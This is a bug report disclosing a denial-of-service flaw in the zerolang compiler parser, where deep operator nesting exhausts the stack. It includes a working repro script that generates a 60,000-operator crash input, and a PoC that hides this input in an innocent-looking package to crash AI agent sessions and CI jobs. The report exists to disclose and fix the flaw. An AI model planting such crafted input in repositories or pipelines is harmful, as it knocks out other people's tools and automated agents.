#435

SIGSEGV (stack exhaustion) in zero import/check/parse/run/build/test via unbounded operator recursion in canonical expression parser

OpenGhostblaster08opened 1mo ago

Summary

zero (the zerolang compiler) segfaults with SIGSEGV when parsing expressions with deep unary/binary operator nesting. The canonical expression parser (canon_parse_prefix ↔ canon_parse_expr_prec) recurses once per operator with no depth limit, exhausting the process stack. Roughly 60,000 consecutive + characters (~60 KB) are enough to kill the release binary with the default 8 MB stack.

This affects zero import, zero check, zero parse, zero run, zero build, and zero test — the entire documented daily loop. The parser already has a delimiter-depth guard (PAR100: expression nesting is too deep) that cleanly rejects deeply nested parentheses and nested call chains, but the operator recursion path in canon_parse_prefix is not wired into it.

Reproduced on the official v0.3.4 release binary (zero-linux-x64, build 5b3a90a, sha256 84a3c79d482260ee15660a49fc6b904afc927a230d05a4263039dd4dd1360e87 per the published CHECKSUMS.txt) and confirmed still present on main (7e1a64d, Sept 16 2026): no depth counter has been added on that path.

Found by coverage-guided fuzzing (AFL++ on ASan/UBSan instrumented harnesses); triaged to root cause.

Repro

Minimal source (return followed by 60k + then 1):

fn f() -> i32 {
    return ++++++++…1
}

Repro script: generates the source, runs a shallow control case, then zero import:

#!/usr/bin/env bash
set -u
ZERO="${1:-./zero}"          # path to the zero binary (v0.3.4)
WORK=$(mktemp -d /tmp/zero_depth.XXXXXX); trap 'rm -rf "$WORK"' EXIT
"$ZERO" init "$WORK" > /dev/null 2>&1
mkdir -p "$WORK/src"

# control: 200 levels -> clean diagnostic (exit 1)
printf 'fn f() -> i32 {\n    return %s1\n}\n' "$(printf '+%.0s' $(seq 200))" > "$WORK/src/main.0"
"$ZERO" import "$WORK/src/main.0" > /dev/null 2>&1
echo "control exit: $? (expected 1, clean APP001 diagnostic)"

# payload: 60,000 levels -> SIGSEGV
printf 'fn f() -> i32 {\n    return %s1\n}\n' "$(printf '+%.0s' $(seq 60000))" > "$WORK/src/main.0"
"$ZERO" import "$WORK/src/main.0" > /dev/null 2>&1
echo "payload exit: $? (139 = SIGSEGV)"

Observed on Linux x64, default stack (ulimit -s = 8192):

nesting depthresult
200exit 1, clean diagnostic (APP001: missing main function)
10,000exit 1, clean diagnostic
30,000exit 1, clean diagnostic
45,000exit 1, clean diagnostic
60,000+exit 139, SIGSEGV (stack exhausted)

Also confirmed, same input:

zero check  src/main.0   -> 139
zero parse  --json       -> 139
zero run                -> 139
zero build              -> 139
zero test               -> 139
zero import .            -> 139   (directory form)

Realistic trigger (project-form PoC)

The payload hides as a single long line inside a normal-looking package — a main function that prints "hello from zero", plus a helper with one var acc: i32 = ++++… declaration. Anyone (human, agent, or CI) who clones such a repo and runs the documented loop gets their compiler process killed:

fn helper(x: i32) -> i32 {
    var acc: i32 = ++++++++…1
    return acc + x
}

pub fn main(world: World) -> Void raises {
    check world.out.write("hello from zero\n")
}
zero import .  -> exit 139 (SIGSEGV)
zero run       -> exit 139 (SIGSEGV)
zero build     -> exit 139 (SIGSEGV)

Since zerolang's primary audience is AI agents compiling code they did not write (and the skills-based workflow installs into Claude Code, Codex, Cursor, etc.), a malicious or prompt-injected repository can deliberately brick an agent session or CI job with a ~60 KB source file. Note the crash is contained to the zero process (stack guard page) — availability impact, not memory corruption.

The conformance runner's import paths are affected the same way (conformance/run.mjs lines 151/156/167 spawn zero import per fixture), so a fixture-based PR can kill a CI job.

Root cause

native/zero-c/src/canonical_text_program.c:

  • canon_parse_prefix (line 788): every prefix operator branch recurses with no depth tracking — + (l.823-830), - (l.814-821), &/&mut (l.807-813), and call args (l.848) all call canon_parse_expr_prec(parser, 8).
  • canon_parse_expr_prec (line 868) then calls canon_parse_prefix (l.869) for the next operand.

One operator = one round trip = two stack frames, unbounded. The recursion is mutual (canon_parse_prefix → canon_parse_expr_prec → canon_parse_prefix → …), so nesting depth scales linearly with operator count and there is no depth counter anywhere on this path.

A second, lower-severity instance of the same pattern exists in the checker: deep expression trees cause unbounded self-recursion in check_expr_expected (native/zero-c/src/checker.c l.8742/8780 chain) — reached after parsing survives (e.g. on machines with larger stacks).

The gap is narrow

The parser already has the exact guard needed — canon_ast_matching_pair depth detection that produces PAR100: expression nesting is too deep:

  • 60,000 nested parentheses ((((…1…)))) → exit 1, clean PAR100 diagnostic, no crash
  • 50,000 nested calls f(f(f(…0…))) → exit 1, clean diagnostic, no crash

So delimiter nesting is depth-limited and operator nesting is not. The fix is to route the operator-recursion path through the same (or a shared) depth budget.

Suggested fix

Add a depth counter to CanonExprParser, checked on entry to canon_parse_prefix, failing via the existing diagnostic machinery instead of recursing:

/* in the CanonExprParser struct */
size_t depth;

/* entry of canon_parse_prefix */
static Expr *canon_parse_prefix(CanonExprParser *parser) {
    if (parser->depth >= CANON_MAX_EXPR_DEPTH /* e.g. 1000 */) {
        canon_ast_fail(parser->diag, &parser->tokens->items[parser->pos],
                       "expression nesting is too deep",
                       "shallower expressions", "operator chain too long");
        return NULL;
    }
    parser->depth++;
    ...
    parser->depth--;  /* on every return path (or wrap with a small macro) */
}

A matching guard in check_expr_expected (checker.c) covers the post-parse recursion. Both are ~10-line changes; happy to send a PR.

Environment

  • zero 0.3.4 (build 5b3a90a), zero-linux-x64 official release, sha256-verified against CHECKSUMS.txt
  • Linux x64, glibc, default ulimit -s 8192
  • Confirmed unfixed on main as of 7e1a64d (2026-09-16)
  • ASan harness builds additionally report the crash as stack-overflow with the mutual recursion visible in the trace

Related

  • Not covered by #318 — none of its 18 findings involve stack exhaustion or recursion depth (verified individually).
  • The tokenizer is unaffected (zero tokens --json on the same input exits 0) — the crash is specifically in canonical expression parsing.

Impact: denial of service of the compiler process via crafted .0 source. Happy to send a focused PR if the depth-limit approach above looks right.

Activity

0

No activity yet.